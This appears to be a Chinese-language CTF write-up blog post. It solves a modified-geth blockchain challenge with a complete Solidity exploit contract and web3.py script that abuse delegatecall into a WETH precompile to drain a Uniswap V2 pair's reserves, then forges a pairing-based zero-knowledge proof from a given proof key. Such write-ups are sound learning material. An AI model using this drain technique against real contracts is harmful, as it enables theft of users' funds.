进去以后直接用花括号告诉他 give me the flag
简单来说就是下面这篇文章的翻版:
DelegateCall and Native Contracts
https://pwning.mirror.xyz/okyEG4lahAuR81IMabYL5aUdvAsZ8cRCbYBXh8RHFuE
题目通过魔改 geth 使以太币支持 ERC20 标准,添加了一个在 0x4ea1(Real,Unicode 的 0x4ea1 为“亡”)的预编译合约,里面还有一个后门 transferAndCall,不过现在不重要
对于任意地址,以太币余额就是 WETH 余额。通关条件为题目创建的 uniswap V2 交易对 reserve0 reserve1 均被清空
问题在于 DelegateCall 可以调用预编译合约,此时 msg.sender 和 value 保留,所以可以代替 caller 操作 WETH,比如授权给我们的攻击合约,用后门 transferAndCall 任意调用
攻击步骤:
合约:
//SPDX-License-Identifier: WTFPL
pragma solidity =0.8.17;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IUniswapV2Pair {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function sync() external;
}
interface IUniswapV2Callee {
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
contract Exploit is IUniswapV2Callee {
address constant WETH = 0x0000000000000000000000000000000000004eA1;
// fill in pair info
address constant PAIR = 0x19d00540F70Ca1c55273bfa37f25Ee9bf2EF7983;
address constant TOKEN = 0x4eb006c200f049d77f118aE95f454EcC89bdfaFf;
constructor() payable {}
function uniswapV2Call(address, uint256, uint256, bytes calldata)
external {
// let the pair approve to us
(bool succ,) = WETH.delegatecall(
abi.encodeWithSignature("approve(address,uint256)",
address(this),
(uint256)((int256)(-1))
)
);
require(succ, "FS: apr0");
(succ,) = WETH.delegatecall(
abi.encodeWithSignature("transferAndCall(address,uint256,bytes)",
TOKEN,
1, // 0 is OK
abi.encodeWithSignature("approve(address,uint256)",
address(this),
(uint256)((int256)(-1))
)
)
);
require(succ, "FS: apr1");
// repay 0.1 ether with a little premium
require(IERC20(WETH).transfer(PAIR, 0.11 ether),
"FS: repay");
}
function exploit() external {
IUniswapV2Pair(PAIR).swap(
0.1 ether, // borrow 0.1 eth
0,
address(this),
abi.encodeWithSignature("woke()") // non-empty
);
uint256 allowance = IERC20(WETH).allowance(PAIR, address(this));
uint256 balance = IERC20(WETH).balanceOf(PAIR);
require(allowance > balance, "EXP: allow0");
require(IERC20(WETH).transferFrom(PAIR, address(this), balance),
"EXP: tf0");
allowance = IERC20(TOKEN).allowance(PAIR, address(this));
balance = IERC20(TOKEN).balanceOf(PAIR);
require(allowance > balance, "EXP: allow1");
require(IERC20(TOKEN).transferFrom(PAIR, address(this), balance),
"EXP: tf1");
// make reserves zero
IUniswapV2Pair(PAIR).sync();
// done!
}
receive() payable external {
// pass
}
}
部署+调用:
from web3 import Web3
import json
HTTP_PROVIDER = "http://47.254.91.104:8545"
w = Web3(Web3.HTTPProvider(HTTP_PROVIDER))
PRIVATE = "0x私钥"
SELF = "0x地址"
fd = open("Exploit.json", "rt")
obj = json.load(fd)
fd.close()
bytecode = obj["data"]["bytecode"]["object"]
abi = obj["abi"]
# create contract
"""
signed = w.eth.account.sign_transaction(dict(
nonce=w.eth.get_transaction_count(SELF),
gasPrice=2100000,
gas=2000000, # 注意一百万不够
to=None,
value=5 * 10**17, # 0.5 ether
data=bytecode,
chainId=w.eth.chain_id,
), PRIVATE)
txhash = w.eth.send_raw_transaction(signed.rawTransaction)
print(txhash)
receipt = w.eth.wait_for_transaction_receipt(txhash)
print(receipt)
"""
CONTRACT = "0x合约"
# exploit!
signed = w.eth.account.sign_transaction(dict(
nonce=w.eth.get_transaction_count(SELF),
gasPrice=2100000,
gas=1000000,
to=CONTRACT,
value=0,
data="0x63d9b770", # exploit()
chainId=w.eth.chain_id,
), PRIVATE)
txhash = w.eth.send_raw_transaction(signed.rawTransaction)
print(txhash)
receipt = w.eth.wait_for_transaction_receipt(txhash)
print(receipt)
那两个地址 PAIR 和 TOKEN 可以通过 eth_call Factory.uniswapV2Pair 和 uniswapV2Pair.token1 获取到
基于 optimal ATE pairing 的零知识证明,给了 proof key 需要生成一个证明
可以看出代码来源是 https://github.com/ethereum/py_pairing
不懂代码是在干嘛的可以看作者 Vitalik 说的道理:
第二篇不看也没事,因为题目要求的证明非常简单
简单来说
pairing(Q, P) 以下记为 e(Q, P)
Q 是 Fp12 的元素,但是完全不用管他,因为做题根本不需要生成这样的元素
P 就是熟悉的椭圆曲线上的点了,生成元为 G1
这几个东西有什么用呢,就是可以证明 pq = r(pqr 是任意整数)只需要公布椭圆曲线公钥 G(p) G(q) G(r)
验证者计算 e(G(p), G(q)) == e(G, G(r)) 就验证了 pq = r
同理计算 e(G(p), G(q)) == e(G(r), G(s)) 就验证了 pq = rs
题目 verify 中的 PiC,PiCa,PiH = proof
就是
以下记成 X, aX 和 H,他们都是椭圆曲线上的公钥,对应的私钥记为 x, ax, h
给的 proof key 是 for i in 0..6 和
for i in 0..6
验证两个 pairing:
查看 genK 可以发现:
a t 都是没有保存、必须被销毁的值
容易给出构造 x = Z(t), h = 1,所以 X = G1(Z(t)), H = G1, aX = G1(a Z(t))
已经有 proof key 的情况下,不用知道 a t 就能计算
from ast import literal_eval
from task import *
#PK, VK = genK(curve_order)
data = input("> ")
PK = literal_eval(data)
C = list(map(lambda u: (FQ(u[0]), FQ(u[1])), PK[0]))
aC = list(map(lambda u: (FQ(u[0]), FQ(u[1])), PK[1]))
# H = G1 (1)
# X = G1 (t4 - 10t3 + 35t2 - 50t + 24)
# aX = G1 a (t4 - 10t3 + 35t2 - 50t + 24)
H = G1
def poly(C):
X = multiply(C[0], 24)
X = add(X, neg(multiply(C[1], 50)))
X = add(X, multiply(C[2], 35))
X = add(X, neg(multiply(C[3], 10)))
X = add(X, C[4])
return X
X = poly(C)
aX = poly(aC)
#print(verify([X,aX,H], VK))
print(X[0], X[1], aX[0], aX[1], H[0], H[1], sep=" ")
Older: The 2nd Geekgame writeup